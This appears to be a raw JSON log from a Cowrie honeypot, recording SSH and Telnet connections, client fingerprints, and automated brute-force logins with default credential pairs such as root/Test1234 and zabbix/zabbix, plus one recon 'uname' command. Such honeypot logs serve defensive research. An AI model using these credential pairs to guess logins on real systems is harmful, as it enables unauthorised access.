{"eventid":"cowrie.session.closed","duration":45.76850461959839,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:23.349255Z","src_ip":"104.245.105.2","session":"5bdd12a435ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074297666549683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:23.950849Z","src_ip":"104.245.105.2","session":"89b0c58e6727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:29.047034Z","src_ip":"45.156.87.254","session":"bf4bb4af2fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dac7d52d04a","protocol":"telnet","message":"New connection: 20.123.41.163:48826 (10.17.0.5:23) [session: 1dac7d52d04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:30.146989Z"}
{"eventid":"cowrie.session.closed","duration":3.3965113162994385,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:33.543365Z","src_ip":"20.123.41.163","session":"1dac7d52d04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57908,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f863d3e489","protocol":"telnet","message":"New connection: 20.123.41.163:57908 (10.17.0.5:23) [session: 86f863d3e489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:44.557172Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8461f7c56942","protocol":"telnet","message":"New connection: 104.245.105.2:41906 (10.17.0.5:23) [session: 8461f7c56942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:50.027614Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":58028,"dst_ip":"10.17.0.5","dst_port":22,"session":"d928ef74c192","protocol":"ssh","message":"New connection: 182.253.168.47:58028 (10.17.0.5:22) [session: d928ef74c192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:55.294023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:55.298814Z","src_ip":"182.253.168.47","session":"d928ef74c192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:55.580333Z","src_ip":"182.253.168.47","session":"d928ef74c192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyui","message":"login attempt [ubuntu/qwertyui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:11:59.122683Z","src_ip":"182.253.168.47","session":"d928ef74c192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:00.750908Z","src_ip":"182.253.168.47","session":"d928ef74c192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b629a885da47","protocol":"telnet","message":"New connection: 104.245.105.2:34334 (10.17.0.5:23) [session: b629a885da47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:06.735930Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38482,"dst_ip":"159.203.135.109","dst_port":22,"session":"4251d5a4bbad","protocol":"ssh","message":"New connection: 45.156.87.254:38482 (159.203.135.109:22) [session: 4251d5a4bbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.060031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.065507Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.150325Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.397891Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.615533Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.619245Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.812423Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:14.819207Z","src_ip":"45.156.87.254","session":"4251d5a4bbad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38496,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f4a87248575","protocol":"ssh","message":"New connection: 45.156.87.254:38496 (159.203.135.109:22) [session: 4f4a87248575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:18.204490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:18.212610Z","src_ip":"45.156.87.254","session":"4f4a87248575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:18.289711Z","src_ip":"45.156.87.254","session":"4f4a87248575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:18.919232Z","src_ip":"45.156.87.254","session":"4f4a87248575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:20.005921Z","src_ip":"45.156.87.254","session":"4f4a87248575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.94573140144348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:21.973240Z","src_ip":"104.245.105.2","session":"8461f7c56942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49692,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d615c4b67c","protocol":"ssh","message":"New connection: 45.156.87.254:49692 (159.203.135.109:22) [session: b6d615c4b67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:22.759411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:22.764744Z","src_ip":"45.156.87.254","session":"b6d615c4b67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:22.861873Z","src_ip":"45.156.87.254","session":"b6d615c4b67c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:23.119027Z","src_ip":"45.156.87.254","session":"b6d615c4b67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:24.206263Z","src_ip":"45.156.87.254","session":"b6d615c4b67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49716,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ed2ef6ae1d","protocol":"ssh","message":"New connection: 45.156.87.254:49716 (159.203.135.109:22) [session: 33ed2ef6ae1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:27.548795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:27.651374Z","src_ip":"45.156.87.254","session":"33ed2ef6ae1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:27.654973Z","src_ip":"45.156.87.254","session":"33ed2ef6ae1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:28.131304Z","src_ip":"45.156.87.254","session":"33ed2ef6ae1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:29.218184Z","src_ip":"45.156.87.254","session":"33ed2ef6ae1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47002,"dst_ip":"159.203.135.109","dst_port":22,"session":"068372ae5d8f","protocol":"ssh","message":"New connection: 45.156.87.254:47002 (159.203.135.109:22) [session: 068372ae5d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:32.100409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:32.105245Z","src_ip":"45.156.87.254","session":"068372ae5d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:32.188170Z","src_ip":"45.156.87.254","session":"068372ae5d8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:32.436326Z","src_ip":"45.156.87.254","session":"068372ae5d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:33.522381Z","src_ip":"45.156.87.254","session":"068372ae5d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47012,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed03bb5440f","protocol":"ssh","message":"New connection: 45.156.87.254:47012 (159.203.135.109:22) [session: 1ed03bb5440f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:36.357991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:36.363193Z","src_ip":"45.156.87.254","session":"1ed03bb5440f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:36.445372Z","src_ip":"45.156.87.254","session":"1ed03bb5440f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:36.752492Z","src_ip":"45.156.87.254","session":"1ed03bb5440f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":44458,"dst_ip":"10.17.0.5","dst_port":23,"session":"da96a480338a","protocol":"telnet","message":"New connection: 20.123.41.163:44458 (10.17.0.5:23) [session: da96a480338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:37.795093Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:37.840262Z","src_ip":"45.156.87.254","session":"1ed03bb5440f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.957995414733887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:12:38.693766Z","src_ip":"104.245.105.2","session":"b629a885da47","protocol":"telnet"}
